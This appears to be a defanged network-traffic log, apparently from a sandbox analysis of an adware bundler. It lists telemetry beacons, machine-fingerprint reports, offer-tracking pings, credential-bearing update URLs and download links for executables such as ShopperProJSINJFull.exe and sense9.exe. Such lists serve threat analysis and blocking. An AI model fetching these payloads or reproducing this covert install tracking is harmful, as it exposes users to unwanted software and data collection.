hxxp://repjs.shopper-pro.com/app/ping.ashx?e=R4rdFlCMSnRUzMSzzHoKeRn22zHWoY/Q2YTeaOaZJPFysSIQM/WMqtGQDVZU32tJqokWMN8GCQ/ZKuiB0ryxZL6vs2JJATJ04VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjAvVZI1gyGAhENo9/0ma3IeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa5BQwiQopi7LzbANYrsS2gTtzAGhxGYFG
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=k64GogClQtUsXAWAU9Yfxpo9cwPIlOkWQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMalAK2aExBqS8WBoC4DsGrqWAqR2XPWVGhi24b6K/4pIUUAvnawhe3hcrFg62ocRzdZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==
hxxp://rep.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9VXzPC13FVNqqpNEI 1DWq5zO3UMNseiaEicvsFwQStENB87jgWTbK//EmjUQkbJhFKaeKuWhSeEFFEB58UdZ28yvVzXSY3rM8Yky2cjJGp8U1/8E9Ve0OlwOfiWy9NaE3BTG7HloA5mtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoFCWJl7EWMlLjgYfTZkNMXzWjsRol/wIl8 ASAGXXzEp/brbEEqNX3F0lvzdXBcxyGAZSpRiXLg4A== 173.239.4.105
hxxp://stats.dropopenobject.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429064926&lifetime=0&silent=1&crtnm=na&procstarttime=1429064926&procruntime=16&rnd=1429064942
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429064965
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png
hxxp://stats.dropopenobject.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_35&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429064926&procruntime=3&rnd=1429064929
hxxp://www.appshat.com/css/lightbox.css
hxxp://rep.shopper-pro.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P4xEz6FfERdwJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gUJYmXsRYyUuOBh9NmQ0xfNaOxGiX/AiXz4BIAZdfMSn9utsQSo1fcVWLfeo/B59z4BlKlGJcuDg 173.239.4.105
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png
hxxp://ocsp2.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhZ1N/ArcYWNWqP8XWy7QmXA== 108.162.232.203
hxxp://www.appshat.com/thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.6315553308195835
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=3&index_in_screen=1&index_in_session=3&0.9926493029249737
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=wlkQ3WKgYpT/HsUBn07KUki9wFUWENkpQHmaKaq/tyboUht0DV8eHWD3h9gcT/r2iwEbfeVtNep9AGHLpPN9dvm9MH d93Mvga zuhV9q9Hxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5tpfYOBgM/eiVGOPVXIjHvBpTJ2ibhTIXvL Evyupn5FoSAG857z6vSJoFp5BSgEe3Or7WZbrDrQA0K6wxeD7aRji4XER0T3SsRjhY3fDkRrRGH92XQHP1gIC8CeRVXYM7tt0dYIfV76/i/Rt8z5Huw5BjHXyCKE2ym6/9nVi9VeWyIO7X fC8f4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJo6QfYieQtrRAHmwJ7F0OZh 198.232.124.192
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1429064963
hxxp://rep.shopper-pro.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P61J8WDbI2zXWceTUfoD7PipsrZDsYYadYLJQuWr4kCVhntxZGpTPDdJj0V1e3C0jlnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDWPFvdFnQbsnAA5fsVkEwXwPPQmQ9wV0ecSC1j/7u2ZPAhhKDaeZjYUKf6pfgWlN19 inPTLZDtg= 173.239.4.105
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=3&index_in_screen=1&index_in_session=3&0.554633258867026
hxxp://d3hm9b8fv0d908.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe 54.192.46.132
hxxp://rep.shopper-pro.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P61J8WDbI2zXWceTUfoD7PipsrZDsYYadYLJQuWr4kCVvVFayGUnBvwp/sUwP8Ujkw9iAWgxkwic8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I N6KrjOmEl6c6Q6eVjXcW8z/5roOjSNLgAlgaMwDxP0B1wuX /yA6AUq9vGFcnz4PEn7DqvLFbw== 173.239.4.105
hxxp://install-cdn.theswiftrecord.com/sd?is=sm
hxxp://5wced03drl-su78sj1t.netdna-ssl.com/ShopperProJSINJFull.exe
hxxp://32tk204qm4t-457zol7j.netdna-ssl.com/yta33_full.exe
hxxp://www.appshat.com/js/scripts.js
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=3&index_in_screen=1&index_in_session=3&0.5027052189276173
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZfTZC8DxP8ZUzMSzzHoKeZnhoWWPiNC12YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P57HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9reVFPQewwTdqF2K7v3Wx4P3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJv19NF8iFPkx0iOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKSHXMlB3ZX1tpq73FZdDH/8= 173.239.4.105
hxxp://www.appshat.com/thumbnails/icon/images/assets/3/d/3d8bbea6bcae57d705c676f7050a7d51.png
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429064933
hxxp://rep.shopper-pro.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P61J8WDbI2zXWceTUfoD7PiV6vD/UV1iyHQCKxuPRxPeaGzln9Vv6k7XdemwkRcKlLaQaFS VkBZ3QmA92KA lJBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6mKofH8HN0lUh8kpng0IpIJ 173.239.4.105
hxxp://install.theswiftrecord.com/if?alpha=ERdfLUV5WywpZSBmcAdKEFMMIEURS1MFSCQkSzwAQ0sVagAEZjwcckURU0lBHl4YLC9IJ2RtflkcDHFSEVwjKS1+EQMzQkVLSCwGNFQkAhY8SAQ8GEJDHBISangvb11mMHA5XUNiK1s2FyAxLwk/A1kKJGBgR14OexQNeFZmRjV4YHJ2RWQfHDIXcVQWTnUfJBRSHS9BEU9MXEFxP1BtWRZDHTtEWmpbRSkSUEMqEFtVDy5LUz48dlJFUVIuEUFUd3hlDVdCV05BS1coDmQVKUNZUg1cfhgRRV8OOTgqUAo6ARlAfwkEPlI8ck0BHGxXURFcfCRDOHU5WE5XWzNeaRtwb2w8Skt1UycSF3xPKlQ5RFczSQYqTERRUw4bNiVNEUkHAFZ5Ax00AUshA1NdKgpKB1p5KVI0c2leXkQeMQJHGTMnI34LHSccAxcYdkdgYncUGwpIAWwBYkxTFRAzaT4rCFMTQCJWGi1SXz1NVwMmXVtQHHUwEX0wLwUbTF98UxRIJi05ehMXMzFKSUkiFGgBaRwTXn0IIFpSBF4OGDl0KRE2aTcVbx8ZOFIvWHwrMj1ACQw8BX5AI2QzF2tsSSARQVJFdHE7UExtUyNbKltzFAddGgQIGy0pX15BX2kCEE16FGs=
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png
hxxp://www.bigspeedpro.com/webplayer/appshat/config.json 78.138.126.82
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=4&index_in_screen=1&index_in_session=4&0.06926717798892545
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1429064930
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429064940
hxxp://www.appshat.com/thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1429064930
hxxp://www.appshat.com/images/16x16.ico
hxxp://dl.ourinputinfonet.com/spd/shopp/sense9.exe
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429064968
hxxp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot 216.58.209.163
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png
hxxp://downloadcdn.filebulldog.com/affiliates/grooveload/scilors4848.png
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= 23.51.123.27
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429064968
hxxp://dl.ourinputinfonet.com/spd/shopp/iweb.exe
hxxp://www.appshat.com/thumbnails/banner/images/assets/3/6/365640f122ef96f033f2f87c6308031e.png
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429064933&SBPIDS=1
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429064940
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/7/1759703220576e41cab39feb18a11b14.png
hxxp://www.appshat.com/css/style.css
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=hXeqmv1IpelezyBKiN6u MmULrK7uidv62ls PLHCLDT03ZwnpMmri4u 59fITlqgIuHhVdsQPLOGb/omYmI4seFfSuOsPNu51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxqk0Qj7UNark7RjcTQqXmcPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY50Fo0VHUKvToNI b/R1vzz Ju4GRmccrCXhClwiNX4uk=
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429064934
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064919&SBPIDS=1&KA=1
hxxp://www.appshat.com/js/jquery.smooth-scroll.min.js
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCFTMxLPMegp5uQCvJzqHBQDZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0lFniNYS8SCXUh6jr A64ihaK9hL93ata/0Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z31g28yHncZl0ry31KNAk1YoAnTx32zhJvgkLrIxNpbuQ5pP236R990NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5o0oOHh2ZuBol7seRJcZZoNfTRfIhT5MdIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhrykB6FgH4ntItg==
hxxp://errors.dropopenobject.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=3&rnd=1429064929
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k= 23.51.123.27
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/Fcwh0Xd/M2fZNC1TqAoBNbs/RTuaadBTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPApvxZ8YpM5iHXpIMhPvgYNKFtm0XTWlrU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VIl8JkmZ/Wy9wpDKX/a3tH594khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib9fTRfIhT5MdIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhryl9vYV5K80Zgaau9xWXQx// 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoVPNjxRBLtb40huZh9DXBQ4t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTLHu3VbtnNNfW7fKPXFAvotNHatfm97Uq6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6n8H3HAsWPGRB8kpng0IpIJ 173.239.4.105
hxxp://www.appshat.com/images/4.0stars.jpg
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=eISsn0A7mAYLpXZ/jUeRRrE5FrKcaNErfeWZZTe8uuHMtMAqTKBPI30QpZ Jj0 vMQUKzn11DFWqS3j1P9iGnLOjtqelOAq5XooDu8/ 0Wy8rJULUDCmwArmOSgIBLqiUA7dl9owwhL1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwbarnjbleUUSx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn22SVOcSO6scWRoUV4ogQDN/6Y BmvbybVp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6mShho8CAtn6TZ0t5cJY6l3
hxxp://www.appshat.com/images/64x64.ico
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=hXeqmv1IpenVj9BNm3y5B3ZFr9sKl2h1/T7vGnIrRllP XtorcoTKgxB9pWV4xt1MyRsTHPDdAhxgnfs KRSGXtmD8Dkx2dtxTFIShqYYGTBXl5O1yvgpqzcXCJb OKoc4yKTdSya8wUNdG95mE1sb0kEBXXcjvsndo6KOXOaYEwQrDp9FTw2BfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1uOPXuF bXgYyuhanWjL2KRlvq8RedDljUuK5sKrcXforNiuWK4Z 32M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeOsdMRvnCZo1mDlNcv2CDURAyWZclVr5EGnOkOnlY13FvM/ a6Do0jS4AJYGjMA8T9AdcLl/v8gOtwcLG8Y2hsu
hxxp://rep.shopper-pro.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P4 fec90flyKxMkX9sPQVhQoOH/4D/1WW drxeglkK7bM8DllDAjWZb4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX/Re18ke5PqUolQ9N4vKzl4ltILkcPZHlLF3YFs/ceKLs1ZJVUBHzvfH/jy8G4FGJY4SiD403Los 173.239.4.105
hxxp://www.google-analytics.com/analytics.js
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/6/0692c2494a7331a77c05954f79c5480a.png
hxxp://www.appshat.com/images/5.0stars.jpg
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=2&index_in_screen=1&index_in_session=2&0.9087786147480426
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png
hxxp://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7 178.255.83.1
hxxp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429064934
hxxp://install.theswiftrecord.com/ii?alpha=ERdfLUUzNkkKLnlucAdKEFMMIEURS1MFSCQkSzwAQ0sVagAEZjwcckURU0lBHl4YLC9IJ2RtflkcDHFSEVwjKS1+EQMzQkVLSCwGNFQkAhY8SAQ8GEJDHBISangvb11mMHA5XUNiK1s2FyAxLwk/A1kKJGBgR14OexQNeFZmRjVwdXIRC3dOQktILQ5tEzdCQ00JWHkZBhYcBRAxCx8wVE4TS3scGykKTX9GAzFpSysMW3gnEX84LQcNDw93VhZDNXpmIGlCYk4lKF93UyleaRZKNFIHKEZAURZBQ2NkDzYdARlAfRUGZiICeFEKAHRCCRE9IWdFPnZsFwoBbjMMQhdgbmogS0xtUz5bWW5FL1RwHBlDAUl6BwYMDVdFZmkeOhtRH1BuUAQ6DAA7GUVCNRRbXhkkaE82PFpZWk1XMgsEWkZzajtASSEgBBoNfVN0AXcFSlcdB35ZClscAANqcF1zWBdEFWYRSWtfUS4TX0YtHk9zUHo5G2U0OUdSRQMHAkgBdjtnIEhDPDc+JDdZBjlIdBBKJ3g2AmgRRk5cIxo+DC0MC1ZlRgcVKQpLTUoXB25FERE5aFpiAkg/c1RSVWEnQQR6fmZpVUY8VRUVGiURe10kQjxbKyQ2PVw=
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1429064963
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b2a9a12-ae50-485f-b698-985ad0065d83&Password=4lh92yoP&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064920&SBPIDS=1&KA=1
hxxp://www.appshat.com/css/product.css
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429064934
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429064937
hxxp://stats.dropopenobject.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_35&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=16&rnd=1429064942
hxxp://www.appshat.com/images/3.5stars.jpg
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429064965
hxxp://www.appshat.com/home
hxxp://stats.dropopenobject.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429064926&lifetime=0&silent=1&crtnm=na&procstarttime=1429064926&procruntime=17&rnd=1429064943
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=wlkQ3WKgYpT/HsUBn07KUivLfUo0CTVixQ1lBHEbv7l4E7mrr1h80riKIFo3W8f23Wq7IsWCDz7y242T0dJTSUCN9h bV19VSl3u293svNWe4QpoO1WcaCmF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw==
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429064933
hxxp://dqoup4b5zs0bi.cloudfront.net/infv5/index/3428/3rd 54.230.45.25
hxxp://errors.dropopenobject.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429064965
